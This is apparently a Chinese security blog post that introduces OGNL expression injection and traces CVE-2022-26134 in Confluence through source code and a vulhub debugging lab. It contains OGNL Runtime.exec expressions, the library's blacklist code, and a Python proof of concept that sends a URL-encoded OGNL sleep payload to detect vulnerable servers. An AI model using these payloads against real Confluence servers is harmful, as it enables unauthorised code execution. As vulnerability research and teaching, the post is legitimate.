沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Java表达式注入之OGNL

0x00 前言


现在已经是自由人了,不用再被繁琐的工作拖累了,所以有了更多时间可以学习。说到OGNL注入,你肯定第一个想到的是Struts2,但是我这里并不打算直接从其入手。一是,光是分析他的修复历史以及绕过就要一大篇文章去写;二是,我想锻炼一下自己的漏洞分析能力,而Struts2系列,很多师傅已经写过了,所以本文我分析的漏洞基本上都是比较新的CVE。当然,我后面还是会专门写一篇Struts2漏洞文章的。

  • CVE-2022-26134漏洞分析

0x01 OGNL


表达式

OGNL是Java中常见的一种表达式,在Java安全中,我们之后还能见到EL、SPEL、JEXL表达式、(其实在之前的Nexus文章我已经见过了,但是没深入了解),懒狗预计后面会各自写一篇文章。

什么是表达式呢?其实通俗的说就是一个帮助我们更方便操作Bean等对象的式子,比如下面这个例子:

// 正常Java代码
String name = MyUser.getName()
// 表达式写法
#MyUser.name

可以看到,通过表达式,可以简化我们对类的操作。

OGNL三要素

OGNL有以下三要素:

  • Expression 表达式
  • root 根对象,即操作对象
  • context 上下文,用来保存对象运行的属性及其值,有点类似于运行环境的意思,保存了环境变量

以下便是一个OGNL的实例,大家可以先感受一下:

public class JustTest {
    public static void main(String[] args) throws Exception {
        Hacker hacker = new Hacker();
        hacker.setName("chenlvtang");
        // 创建Context并传入root
        OgnlContext context = new OgnlContext();
        context.setRoot(hacker)
        // 创建Expression
        String expression = "hacker.name";
        Object ognl = Ognl.parseExpression(expression);
        // 调用
        Object value = Ognl.getValue(ognl,context,context.getRoot());
        System.out.println("result:" + value);
    }
}

OGNL语法

  • .操作符:如上所示,可以调用对象的属性和方法, hacker.name,且上一个节点的结果作为下一个节点的上下文,如(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a)),也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))

  • @操作符:用于调用静态对象、静态方法、静态变量,@java.lang.Math@abs(-10)

  • #操作符:

    a)用于调用非root对象

    // 放入Context中,但不是root
    context.put("user", user)
    // 创建Expression,非root,所以要加上#
    String expression = "#user.name";
    Object ognl = Ognl.parseExpression(expression);
    // 调用
    Object value = Ognl.getValue(ognl,context,context.getRoot());

    b)创建Map

    #{"name": "chenlvtang", "level": "noob"}

    c)定义变量

    #a=new java.lang.String[]{"calc"}
  • $操作符:一般用于配置文件,<param name="name">${name}</param>

  • %操作符:计算其中的OGNL表达式,%{hacker.name}

  • List:直接使用{"green", "red", "blue"}创建

  • 对象创建:new java.lang.String[]{"foobar"}

0x02 OGNL注入


简介

上文对OGNL的简单了解后,我们可以看到,利用OGNL可以用来操作类并进行相关调用。而所谓OGNL注入,即是当解析OGNL的函数(如上文的getValue)中参数可控时,传入恶意的OGNL语句,从而实现RCE等恶意操作。

OGNL RCE的测试

在pom.xml中加入如下的依赖(OGNL有2和3两个大版本,此处使用2):

<dependency>
    <groupId>ognl</groupId>
    <artifactId>ognl</artifactId>
    <version>2.7.3</version>
</dependency>

然后,我们根据上面学习的OGNL语法,写下如下的代码:

public class MyOGNL {
    public static void main(String[] args) throws OgnlException {
        String expression = "@java.lang.Runtime@getRuntime().exec('calc')";
        OgnlContext context = new OgnlContext();
        Ognl.getValue(expression, context, context.getRoot());
    }
}

运行后,成功弹出计算器。具体里面怎么实现的,我这里就不跟进了,其实我感觉很多文章跟进,意义也不大……

OGNL 高版本下的黑名单

OGNL在>=3.1.25、>=3.2.12的版本中增加了黑名单。我们将依赖更新为3.1.25,然后再次运行,就会得到一个报错信息,如下:

image-20220814152410124

根据报错信息,跟进到OgnlRuntime#invokeMethod,可以看到如下的黑名单:

public static Object invokeMethod(Object target, Method method, Object[] argsArray)
    throws InvocationTargetException, IllegalAccessException
{

    if (_useStricterInvocation) {
        final Class methodDeclaringClass = method.getDeclaringClass();  // Note: synchronized(method) call below will already NPE, so no null check.
        if ( (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)) ||
            (AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)) ||
            (SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)) ||
            (SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)) ||
            AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
            ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
            MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
            MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
            OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
            Runtime.class.isAssignableFrom(methodDeclaringClass) ||
            ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
            ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
            AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass) ) {
            throw new IllegalAccessException("........");
        }

0x03 CVE-2022-26134 Confluence


漏洞信息

官方通告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

根据通告,我们确定了漏洞包为:xwork-1.0.3-atlassian-8.jar(点击下载);漏洞修复包为:xwork-1.0.3-atlassian-10.jar(点击下载)

漏洞点

将上面下载的源码解压,然后放进IDEA中,然后进行比较,找到了补丁的修复点如下(ActionChainResult#execute):

image-20220814161653349

代码如下:

OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
String finalActionName = TextParseUtil.translateVariables(actionName, stack);

环境搭建

修改vulhub里的靶场(可以随便一个低版本的Confluence即可,这里我是用的对应CVE的靶场)的docker-compose.yml,添加上调试端口:

version: '2'
services:
  web:
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
      - "5050:5050"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

使用docker-compose up -d将vulhub里的靶场启动(最好挂上代理来拉取),之后访问127.0.0.1:8090,即可看到如下的安装界面(原谅我从奇安信社区的文章截了一个图,因为我当时直接下一步,忘记截图了):

image-20220815223711535

复制上图中的Server ID,然后访问:https://my.atlassian.com/license/evaluation,进行如下的选择,并填入我们刚刚复制的ID:

image-20220815224607769

点击生成证书后,就会跳转到对应界面。在这里,我们可以复制key:

image-20220815224940393

把key复制到靶场对应位置,之后就可以开始安装了,在此页面填入数据库信息(根据https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134进行填写即可):

image-20220815225317305

之后就没什么值得注意的了,自己随便点点就能完成了。不过我们还需要下载一份代码用于我们调试,访问https://www.atlassian.com/software/confluence/download-archives,下载与Vulhub中相同的版本:7.13.6。接着,用IDEA将其打开,并将/confluence/WEB-INF中lib文件夹、atlassian-bundled-plugins-setup、atlassian-bundled-plugins添加到依赖之中(如果不加,之后远程调试时,服务会启动失败):

image-20220816004520133

下一步,就是设置JVM远程调试,并开启调试:

image-20220816000721754

进入docker容器,并在其配置文件中加入参数:

docker exec -it xxx
cd /opt/atlassian/confluence/bin
sed -i '/export CATALINA_OPTS/iCATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"' setenv.sh

然后重启服务:

docker restart xxxx

在上文的补丁处,设下断点(这里还可以通过IDEA将代码源选择为之前下载的源码),访问127.0.0.1:8090,成功在断点中止:

image-20220818142940234

漏洞分析

简单跟进后,我们在translateVariables()方法中发现了和OGNL相关的代码如下:

public static String translateVariables(String expression, OgnlValueStack stack) {
    StringBuilder sb = new StringBuilder();
    // 通过正则匹配出表达式,匹配的是${任意字符}这种形式
    Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
    Matcher m = p.matcher(expression);

    int previous;
    for(previous = 0; m.find(); previous = m.end()) {
        String g = m.group(1);
        int start = m.start();

        String value;
        try {
            //Watch out, 注意这里
            Object o = stack.findValue(g);
            value = o == null ? "" : o.toString();
        } catch (Exception var10) {
            value = "";
        }

        sb.append(expression.substring(previous, start)).append(value);
}

继续跟进findValue()方法,可以看到调用了我们在上文讲过的getValue:

public Object findValue(String expr) {
    try {
		// 略
            return this.defaultType != null ? this.findValue(expr, this.defaultType) : Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
        }
    } catch (OgnlException var3) {
        return null;
    } catch (Exception var4) {
	// 略
    }
}

而纵观整个过程,都不存在过滤,所以当ActionChainResult.namespace和ActionChainResult.actionName可控时,就可以成功通过OGNL来实现RCE(并且通过源码,我们可以发现Confluence使用的OGNL版本为2.6.5,所以不存在黑名单)。因此,下一步,我们的目标就是找到this.namespace和this.actionName可控的地方。

向上追溯,发现ActionChainResult是在DefaultActionInvocation#executeResult中通过createResult创建,并调用的execute,传入的是DefaultActionInvocation:

private void executeResult() throws Exception {
    result = createResult();
	//这里result等于ActionChainResult
    if (result != null) {
        result.execute(this);
    } else if (!Action.NONE.equals(resultCode)) {
		//略
    }
}

跟进DefaultActionInvocation#createResult:

public Result createResult() throws Exception {
    Map results = proxy.getConfig().getResults();
    ResultConfig resultConfig = (ResultConfig) results.get(resultCode);
    Result newResult = null;

    if (resultConfig != null) {
        try {
            newResult = ObjectFactory.getObjectFactory().buildResult(resultConfig);
        } catch (Exception e) {
			//略
        }
    }

从这里可以看到,他先获得一个Map,然后从map中根据resultCode取出对应的resultConfig ,最后通过向buildResult传入resultConfig 将其实例化。这里我们的resultCode为“notpermitted”:

image-20220818170823229

在map中找到对应的值如下图所示:

image-20220818171104779

在其中的resultConfig 记录了className和params,并且actionName为“notpermitted”,跟进buildResult就会发现,他就是用过这个设置来实例化的:

public Result buildResult(ResultConfig resultConfig) throws Exception {
    // 获取config中的类名
    String resultClassName = resultConfig.getClassName();
    Result result = null;

    if (resultClassName != null) {
        // 创建类
        result = (Result) buildBean(resultClassName);
        // 获取config中的params来设置参数
        OgnlUtil.setProperties(resultConfig.getParams(), result, ActionContext.getContext().getContextMap());
    }
    return result;
}

所以,我们的actionName便是由proxy.getConfig().getResults()所决定的,更简单的说,是由DefaultActionInvocation.proxy决定的。而回过头去看漏洞点处的代码,会发现namespace同样是由他决定(在不改变proxy中的Map时,这里namespace一定会因为null,进入if,因为Map中params只有actionName的值):

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null) {
        this.namespace = invocation.getProxy().getNamespace();
    }

    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(actionName, stack);

这里的invocation.getProxy()即会获得DefaultActionInvocation.proxy。因此我们的目标转换为了,DefaultActionInvocation.proxy在何时可控?

继续向上追溯,发现在ConfluenceServletDispatcher#serviceAction中进行了proxy的创建,并调用execute:

ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);
request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());
proxy.execute();

熟悉代理的同学,就会知道,这里proxy其实就是DefaultActionInvocation.proxy,proxy.execute()会去调用invocation的invoke:

public String execute() throws Exception {
    ActionContext nestedContext = ActionContext.getContext();
    ActionContext.setContext(invocation.getInvocationContext());

    String retCode = null;

    try {
        // 这里
        retCode = invocation.invoke();
    } finally {
        ActionContext.setContext(nestedContext);
    }

    return retCode;
}

所以我们只要找到ConfluenceServletDispatcher#serviceAction中的namespace和actionName何时可控就可以控制proxy的创建了。继续向上追溯,发现其由ServletDispatcher#service调用:

public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException {
    try {
        if (this.paramsWorkaroundEnabled) {
            request.getParameter("foo");
        }

        request = this.wrapRequest(request);
        // 这里
        this.serviceAction(request, response, this.getNameSpace(request), this.getActionName(request), this.getRequestMap(request), this.getParameterMap(request), this.getSessionMap(request), this.getApplicationMap());
    } catch (IOException var5) {
	// 略
    }

}

看到ServletDispatcher,我们就知道,已经快接近最终的可控点了。查看getNameSpace:

protected String getNameSpace(HttpServletRequest request) {
    String servletPath = request.getServletPath();
    return getNamespaceFromServletPath(servletPath);
}

先使用getServletPath获取请求路径,然后传入getNamespaceFromServletPath,继续跟进:

public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

只是单纯的把/去除。至此,我们似乎已经可以通过URL来控制namespace,从而触发漏洞了。访问http://127.0.0.1:8090/${6+6}/,发现成功触发漏洞:

image-20220819120718824

那actionName是否可控呢?首先看actionName是什么,跟进上文的 this.getActionName(request):

protected String getActionName(HttpServletRequest request) {
    String servletPath = (String)request.getAttribute("javax.servlet.include.servlet_path");
    if (servletPath == null) {
        servletPath = request.getServletPath();
    }

    return this.getActionName(servletPath);
}

protected String getActionName(String name) {
    int beginIdx = name.lastIndexOf("/");
    int endIdx = name.lastIndexOf(".");
    return name.substring(beginIdx == -1 ? 0 : beginIdx + 1, endIdx == -1 ? name.length() : endIdx);
}

因此,actionName实际就是我们访问的文件名,如hacker.action,actionName即为hacekr。再查看DefaultActionProxy的构造函数:

protected DefaultActionProxy(String namespace, String actionName, Map extraContext, boolean executeResult) throws Exception {
    if (LOG.isDebugEnabled()) {
        LOG.debug("Creating an DefaultActionProxy for namespace " + namespace + " and action name " + actionName);
    }

    this.actionName = actionName;
    this.namespace = namespace;
    this.executeResult = executeResult;
    this.extraContext = extraContext;

    //这里
    config = ConfigurationManager.getConfiguration().getRuntimeConfiguration().getActionConfig(namespace, actionName);

    if (config == null) {
        String message;
        
        if ((namespace != null) && (namespace.trim().length() > 0)) {
            //这里
            message = LocalizedTextUtil.findDefaultText(XWorkMessages.MISSING_PACKAGE_ACTION_EXCEPTION, Locale.getDefault(), new String[] {
                namespace, actionName
            });
        } else {
            message = LocalizedTextUtil.findDefaultText(XWorkMessages.MISSING_ACTION_EXCEPTION, Locale.getDefault(), new String[] {
                actionName
            });
        }

        throw new ConfigurationException(message);
    }

    prepare();
}

可以看到config实际是从配置中获取的,当我们尝试修改时,会因为找不到,而抛出错误。

POC

由上文的分析,我们编写POC如下:

import requests
import time

target = "http://{}/%24%7B%40java.util.concurrent.TimeUnit%40SECONDS.sleep(1)%7D/"
payload = target.format("192.168.125.128:8090")


startTime = time.time()
rq = requests.get(url=payload)
if time.time() - startTime >= 2:
    print("CVE-2022-26134")
else: 
    print("FoolHacker")

通过响应时间来判断是否存在漏洞。

Confluence高版本绕过

在7.15 及以上的版本的findValue中增加了检查,懒狗将在更深入学习了OGNL注入后,补上这一部分。

0x04 参考